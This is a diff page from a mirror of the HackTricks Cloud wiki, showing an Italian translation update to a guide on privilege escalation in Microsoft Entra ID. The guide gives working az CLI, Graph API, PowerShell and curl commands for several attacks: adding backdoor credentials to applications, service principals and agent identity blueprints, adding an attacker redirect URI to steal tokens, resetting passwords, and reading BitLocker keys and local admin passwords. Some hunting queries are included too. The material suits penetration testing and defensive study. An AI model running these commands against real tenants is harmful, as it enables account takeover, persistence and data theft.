gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-29 07:00:29 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

Browse Source
This commit is contained in:
Translator
2026-06-05 09:28:09 +00:00
parent 47372108e1
commit 1db5475bcd
1 changed files with 117 additions and 35 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md
+117 -35
View File
@@ -3,13 +3,13 @@
{{#include ../../../../banners/hacktricks-training.md}}
> [!NOTE]
> Nota che **non tutti i granular permissions** che i ruoli built-in hanno in Entra ID **sono eleggibili per essere usati in custom roles.**
> Nota che **non tutte le granular permissions** che le built-in roles hanno in Entra ID **sono eleggibili per essere usate nei custom roles.**
## Roles
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
Questo ruolo contiene i granular permissions necessari per poter assegnare ruoli ai principals e per dare più permissions ai ruoli. Entrambe le azioni potrebbero essere abused per escalare privilegi.
Questo role contiene i granular permissions necessari per poter assegnare roles ai principals e per dare più permissions ai roles. Entrambe le azioni potrebbero essere abusate per elevare i privilegi.
- Assign role to a user:
```bash
@@ -27,7 +27,7 @@ az rest --method POST \
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
```
- Aggiungi più permessi a un role:
- Aggiungi più permissions a un role:
```bash
# List only custom roles
az rest --method GET \
@@ -52,7 +52,7 @@ az rest --method PATCH \
### `microsoft.directory/applications/credentials/update`
Questo consente a un attacker di **aggiungere credenziali** (password o certificati) alle applicazioni esistenti. Se l'applicazione ha privilegi, l'attacker può autenticarsi come quell'applicazione e ottenere quei privilegi.
Ciò consente a un attacker di **aggiungere credenziali** (password o certificati) alle applicazioni esistenti. Se l'applicazione ha privilegi permission, l'attacker può autenticarsi come quell'applicazione e ottenere quei privileges.
```bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
@@ -61,13 +61,13 @@ az ad app credential reset --id <appId> --create-cert
```
### `microsoft.directory/applications.myOrganization/credentials/update`
Questo consente le stesse azioni di `applications/credentials/update`, ma limitate alle applicazioni a singola directory.
Questo consente le stesse azioni di `applications/credentials/update`, ma limitato alle single-directory applications.
```bash
az ad app credential reset --id <appId> --append
```
### `microsoft.directory/applications/owners/update`
Aggiungendosi come owner, un attacker può manipolare l'application, incluse credenziali e permissions.
Aggiungendosi come owner, un attaccante può manipolare l'applicazione, incluse credentials e permissions.
```bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
@@ -77,24 +77,24 @@ az ad app owner list --id <appId>
```
### `microsoft.directory/applications/allProperties/update`
Un attacker può aggiungere una redirect URI alle applicazioni che vengono usate dagli utenti del tenant e poi condividere con loro URL di login che usano la nuova redirect URL per rubare i loro token. Nota che se l'utente era già loggato nell'application, l'autenticazione avverrà in automatico senza che l'utente debba accettare nulla.
Un attacker può aggiungere un redirect URI alle applications che vengono usate dagli users del tenant e poi condividere con loro login URLs che usano il nuovo redirect URL per rubare i loro tokens. Nota che se l'user era già logged in nell'application, l'autenticazione sarà automatica senza che l'user debba accettare nulla.
Nota che è anche possibile modificare i permessi che l'application richiede per ottenere più permessi, ma in questo caso l'utente dovrà accettare di nuovo il prompt che richiede tutti i permessi.
Nota che è anche possibile cambiare i permissions che l'application richiede per ottenere più permissions, ma in questo caso l'user dovrà accettare di nuovo il prompt che chiede tutti i permissions.
```bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
```
### Escalation dei privilegi delle Applications
### Applications Privilege Escalation
**Come spiegato in [questo post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni di default che avevano **API permissions** di tipo **`Application`** assegnate. Una API Permission (come viene chiamata nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza un login dell'utente nell'app), e senza bisogno di Entra ID roles per autorizzarla. Per questo motivo, è molto comune trovare **applicazioni ad alto privilegio in ogni tenant Entra ID**.
**Come spiegato in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** era molto comune trovare applicazioni predefinite che avevano **API permissions** di tipo **`Application`** assegnate. Un'API Permission (come chiamata nella console Entra ID) di tipo **`Application`** significa che l'applicazione può accedere all'API ed eseguire azioni senza un contesto utente (senza che un utente effettui il login nell'app), e senza aver bisogno di ruoli Entra ID per consentirlo. Pertanto, è molto comune trovare **applicazioni con privilegi elevati in ogni tenant Entra ID**.
Poi, se un attacker ha qualsiasi permission/role che consenta di **aggiornare le credenziali (secret o certificate) dell'application**, l'attacker può generare una nuova credenziale e poi usarla per **autenticarsi come l'application**, ottenendo tutti i permission che l'application ha.
Poi, se un attacker ha qualsiasi permission/role che consenta di **aggiornare le credenziali (secret o certificate) dell'applicazione**, l'attacker può generare una nuova credential e poi usarla per **autenticarsi come l'applicazione**, ottenendo tutte le permissions che l'applicazione ha.
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni Microsoft di default; tuttavia, qualche tempo dopo questo report Microsoft ha corretto il problema e ora non è più possibile fare login come applicazioni Microsoft. Però è ancora possibile trovare **custom applications con privilegi elevati che potrebbero essere abusate**.
Nota che il blog menzionato condivide alcune **API permissions** di comuni applicazioni predefinite Microsoft, tuttavia poco dopo questo report Microsoft ha corretto il problema e ora non è più possibile fare login come applicazioni Microsoft. Tuttavia, è ancora possibile trovare **custom applications con privilegi elevati che potrebbero essere abusate**.
Come enumerare le API permissions di un'application:
How to enumerate the API permissions of an application:
```bash
# Get "API Permissions" of an App
## Get the ResourceAppId
@@ -241,27 +241,102 @@ done < <(jq -c '.[]' <<<"$apps_json")
### `microsoft.directory/servicePrincipals/credentials/update`
Questo consente a un attacker di aggiungere credentials a service principals esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
Questo consente a un attacker di aggiungere credenziali agli existing service principals. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
```bash
az ad sp credential reset --id <sp-id> --append
```
> [!CAUTION]
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere la persistence su un service principal.\
> La nuova password generata non apparirà nella web console, quindi questo potrebbe essere un modo stealth per mantenere persistence su un service principal.\
> Dall'API possono essere trovate con: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarlo. Per farlo ti serve un permesso (`microsoft.directory/applications/allProperties/update`) che ti consente di eseguire:
Se ottieni l'errore `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` è perché **non è possibile modificare la proprietà passwordCredentials** dello SP e prima devi sbloccarla. Per farlo ti serve un permission (`microsoft.directory/applications/allProperties/update`) che ti permette di eseguire:
```bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
```
### Abuso delle credenziali del blueprint di Entra Agent ID (`AgentIdentityBlueprint.AddRemoveCreds.All`)
**Gli agent identity blueprints** sono oggetti applicazione e ogni blueprint crea anche un **agent identity blueprint principal** nel tenant. Le **agent identities** sono figli derivati da service-principal di quel percorso blueprint. Quindi, se un attacker può **aggiungere una password/certificate al blueprint** oppure ha già rubato una delle sue credenziali, può poi autenticarsi come **blueprint principal** e richiedere token per le child agent identities.
Questo trasforma una cattiva assegnazione di ruolo di Entra Agent ID sia in:
- **Persistence**: il nuovo `passwordCredential` resta sul blueprint finché non viene rimosso
- **Privilege escalation**: un agent a basso trust/dev può passare in un blueprint diverso ad alto trust e poi agire come i suoi child agents
I percorsi tipicamente pericolosi sono:
- Una compromessa agent identity con **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- Un owner/sponsor/admin compromesso in grado di gestire il blueprint
- Il furto di un secret/certificate esistente del blueprint
Aggiungi un nuovo secret al target blueprint:
```bash
az rest --method POST \
--url "https://graph.microsoft.com/beta/applications/<blueprint-object-id>/addPassword" \
--headers 'Content-Type=application/json' \
--body '{"passwordCredential":{"displayName":"ht-backdoor"}}'
```
Oppure con Microsoft Graph PowerShell:
```powershell
$params = @{ passwordCredential = @{ displayName = 'ht-backdoor' } }
Add-MgBetaApplicationPassword -ApplicationId <blueprint-object-id> -BodyParameter $params
```
Se la nuova credenziale viene accettata, autentica come il **blueprint principal** e abusa del token exchange di Agent ID. La prima richiesta usa la credenziale blueprint e imposta **`fmi_path`** sull'identità dell'agent target. Il token restituito viene poi riutilizzato come **JWT bearer `client_assertion`** per ottenere un token Microsoft Graph per quella identità dell'agent.
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=<blueprint-principal-app-id>' \
--data-urlencode 'client_secret=<new-blueprint-secret>' \
--data-urlencode 'fmi_path=<target-agent-identity-app-id>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=api://AzureADTokenExchange/.default'
```
```bash
curl -X POST "https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token" \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-urlencode 'client_id=<target-agent-identity-app-id>' \
--data-urlencode 'client_assertion_type=urn:ietf:params:oauth:client-assertion-type:jwt-bearer' \
--data-urlencode 'client_assertion=<token-from-previous-step>' \
--data-urlencode 'grant_type=client_credentials' \
--data-urlencode 'scope=https://graph.microsoft.com/.default'
```
> [!CAUTION]
> Se un blueprint **dev** o un suo agente figlio può aggiungere credenziali a un blueprint **prod**, l’attaccante oltrepassa il previsto confine di fiducia blueprint/agent e ottiene un accesso duraturo all’infrastruttura dell’agente target.
Quick validation / scoping:
```powershell
$sp = Get-MgBetaServicePrincipal -ServicePrincipalId <actor-service-principal-id>
$sp.AdditionalProperties['@odata.type']
$sp.AdditionalProperties['agentIdentityBlueprintId']
$app = Get-MgBetaApplication -ApplicationId <target-blueprint-object-id>
$app.AdditionalProperties['@odata.type']
$app.PasswordCredentials | ? { $_.KeyId -eq '<new-key-id>' }
```
Note di hunting:
- Cerca **`Update application – Certificates and secrets management`** in [Az - Monitoring](../../az-services/az-monitoring.md)
- Correla **`AuditLogs`**, **`MicrosoftGraphActivityLogs`** e **`AADServicePrincipalSignInLogs`** usando time, service principal ID, user-agent, IP e `SignInActivityId` / `UniqueTokenIdentifier`
- In `MicrosoftGraphActivityLogs`, verifica `RequestUri` che termina in **`/applications/<id>/microsoft.graph.addPassword`** e se `Roles` contiene **`AgentIdentityBlueprint.AddRemoveCreds.All`**
- In `AADServicePrincipalSignInLogs`, controlla `ServicePrincipalCredentialKeyId`, `ClientCredentialType`, `Agent.agentType` e se la nuova key è stata usata in seguito
Minimal KQL per vedere se il secret appena aggiunto ha autenticato:
```kusto
AADServicePrincipalSignInLogs
| where ServicePrincipalCredentialKeyId == "<new-key-id>"
| project CreatedDateTime, ServicePrincipalName, ServicePrincipalId, IPAddress, UserAgent, ResourceDisplayName
```
Questo è correlato a [application credential abuse](../../az-services/az-azuread.md#applications) e [service principal credential persistence](../../az-persistence/README.md#applications-and-service-principals), ma Entra Agent ID aggiunge una seconda fase in cui il blueprint credential può essere scambiato in un **different agent identity token**.
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
Questo consente a un attacker di aggiungere credenziali agli service principal esistenti. Se il service principal ha privilegi elevati, l'attacker può assumere quei privilegi.
Questo consente a un attacker di aggiungere credentials agli existing service principals. Se il service principal ha elevated privileges, l'attacker può assumere quei privileges.
```bash
az ad sp credential reset --id <sp-id> --append
```
### `microsoft.directory/servicePrincipals/owners/update`
Analogamente alle applications, questa permission consente di aggiungere altri owners a un service principal. Possedere un service principal permette di controllarne le credentials e le permissions.
Analogamente alle applications, questa permission consente di aggiungere altri owner a un service principal. Essere owner di un service principal consente di controllarne le credentials e le permissions.
```bash
# Add new owner
spId="<spId>"
@@ -283,7 +358,7 @@ az ad sp owner list --id <spId>
### `microsoft.directory/servicePrincipals/disable` and `enable`
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad accedere in qualche modo per escalare privileges.
Questi permessi consentono di disabilitare e abilitare i service principals. Un attacker potrebbe usare questo permesso per abilitare un service principal a cui riuscisse ad accedere in qualche modo per escalare i privilegi.
Nota che per questa tecnica l'attacker avrà bisogno di più permessi per prendere il controllo del service principal abilitato.
```bash
@@ -295,7 +370,7 @@ az ad sp update --id <ServicePrincipalId> --account-enabled true
```
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe consentire l'accesso ad applicazioni di terze parti.
Questi permessi consentono di creare e ottenere credenziali per il single sign-on, il che potrebbe permettere l'accesso a applicazioni di terze parti.
```bash
# Generate SSO creds for a user or a group
spID="<spId>"
@@ -317,19 +392,19 @@ az rest --method POST \
```
---
## Gruppi
## Groups
### `microsoft.directory/groups/allProperties/update`
Questo permesso permette di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
Questa permission consente di aggiungere utenti a gruppi privilegiati, portando a privilege escalation.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
**Nota**: Questa autorizzazione esclude i gruppi assegnabili ai ruoli di Entra ID.
**Nota**: Questa permission esclude i gruppi assegnabili a ruoli di Entra ID.
### `microsoft.directory/groups/owners/update`
Questa autorizzazione consente di diventare owner di gruppi. Un owner di un gruppo può controllare l'appartenenza al gruppo e le impostazioni, con la possibilità di escalare i privilegi verso il gruppo.
Questa permission consente di diventare owner dei gruppi. Un owner di un gruppo può controllare l’appartenenza al gruppo e le impostazioni, potenzialmente escalating privileges al gruppo.
```bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
@@ -338,13 +413,13 @@ az ad group member add --group <GroupName> --member-id <UserId>
### `microsoft.directory/groups/members/update`
Questo permesso consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere sé stesso o account malevoli a gruppi privilegiati, ottenendo così accesso elevato.
Questo permesso consente di aggiungere membri a un gruppo. Un attacker potrebbe aggiungere se stesso o account malevoli a gruppi privilegiati, ottenendo così accesso elevato.
```bash
az ad group member add --group <GroupName> --member-id <UserId>
```
### `microsoft.directory/groups/dynamicMembershipRule/update`
Questo permission consente di aggiornare la membership rule in un dynamic group. Un attacker potrebbe modificare le dynamic rules per includere se stesso in privileged groups senza un'esplicita aggiunta.
Questo permesso consente di aggiornare la regola di membership in un gruppo dinamico. Un attaccante potrebbe modificare le regole dinamiche per includere sé stesso in gruppi privilegiati senza un'aggiunta esplicita.
```bash
groupId="<group-id>"
az rest --method PATCH \
@@ -355,11 +430,11 @@ az rest --method PATCH \
"membershipRuleProcessingState": "On"
}'
```
**Nota**: Questa permission esclude i gruppi assignable di Entra ID.
**Nota**: Questo permission esclude i gruppi assegnabili a Entra ID role.
### Dynamic Groups Privesc
Potrebbe essere possibile per gli utenti escalare privileges modificando le proprie properties per essere aggiunti come membri di dynamic groups. Per maggiori informazioni controlla:
Potrebbe essere possibile per gli utenti escalare privilegi modificando le proprie proprietà per essere aggiunti come membri di dynamic groups. Per ulteriori informazioni, controlla:
{{#ref}}
dynamic-groups.md
@@ -369,7 +444,7 @@ dynamic-groups.md
### `microsoft.directory/users/password/update`
Questa permission consente di reimpostare la password degli utenti non-admin, permettendo a un potenziale attacker di escalare privileges verso altri utenti. Questa permission non può essere assegnata a custom roles.
Questo permission permette di reimpostare la password di utenti non admin, consentendo a un potenziale attacker di escalare privilegi verso altri utenti. Questo permission non può essere assegnato a custom roles.
```bash
# Update user password
userId="<user-id>"
@@ -389,7 +464,7 @@ az rest --method PATCH \
```
### `microsoft.directory/users/basic/update`
Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare dynamic groups che aggiungono utenti in base ai valori delle proprietà; quindi, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di un specifico dynamic group ed escalare privilegi.
Questo privilegio consente di modificare le proprietà dell'utente. È comune trovare gruppi dinamici che aggiungono utenti in base ai valori delle proprietà; quindi, questo permesso potrebbe consentire a un utente di impostare il valore della proprietà necessario per essere membro di uno specifico gruppo dinamico ed elevare i privilegi.
```bash
#e.g. change manager of a user
victimUser="<userID>"
@@ -417,7 +492,7 @@ az-conditional-access-policies-mfa-bypass.md
### `microsoft.directory/devices/registeredOwners/update`
Questo permesso consente agli attacker di assegnarsi come owner dei devices per ottenere controllo o accesso alle impostazioni e ai dati specifici del device.
Questo permesso consente agli attaccanti di assegnarsi come owner dei devices per ottenere controllo o accesso a impostazioni e dati specifici del device.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -428,7 +503,7 @@ az rest --method POST \
```
### `microsoft.directory/devices/registeredUsers/update`
Questa permission consente agli attacker di associare il proprio account ai devices per ottenere accesso o bypassare le security policies.
Questo permesso consente agli attacker di associare il proprio account ai dispositivi per ottenere accesso o bypassare le security policies.
```bash
deviceId="<deviceId>"
userId="<userId>"
@@ -439,7 +514,7 @@ az rest --method POST \
```
### `microsoft.directory/deviceLocalCredentials/password/read`
Questa permission consente agli attacker di leggere le proprietà delle credenziali di backup dell’account administrator locale per i device Microsoft Entra joined, inclusa la password
Questa permission consente agli attacker di leggere le proprietà delle credenziali dell’account administrator locale sottoposto a backup per i dispositivi Microsoft Entra joined, inclusa la password
```bash
# List deviceLocalCredentials
az rest --method GET \
@@ -454,7 +529,7 @@ az rest --method GET \
### `microsoft.directory/bitlockerKeys/key/read`
Questa permission consente di accedere alle chiavi BitLocker, il che potrebbe permettere a un attacker di decryptare i drive, compromettendo la data confidentiality.
Questo permission consente di accedere alle chiavi BitLocker, il che potrebbe permettere a un attacker di decrypt drives, compromettendo la data confidentiality.
```bash
# List recovery keys
az rest --method GET \
@@ -465,7 +540,7 @@ recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
```
## Altri permessi interessanti (TODO)
## Altre autorizzazioni interessanti (TODO)
- `microsoft.directory/applications/permissions/update`
- `microsoft.directory/servicePrincipals/permissions/update`
@@ -475,4 +550,11 @@ az rest --method GET \
- `microsoft.directory/applications/appRoles/update`
- `microsoft.directory/applications.myOrganization/permissions/update`
## Riferimenti
- [Red Canary - Investigating Suspicious AI Workflows in Microsoft Entra Agent ID: Autonomous Agents](https://redcanary.com/blog/threat-detection/entra-id-ai-workflows/)
- [Microsoft Learn - Agent identity blueprints in Microsoft Entra Agent ID](https://learn.microsoft.com/en-us/entra/agent-id/agent-blueprint)
- [Microsoft Learn - Authenticate and acquire tokens for autonomous agents](https://learn.microsoft.com/en-us/entra/agent-id/autonomous-agent-authentication-authorization-flow)
{{#include ../../../../banners/hacktricks-training.md}}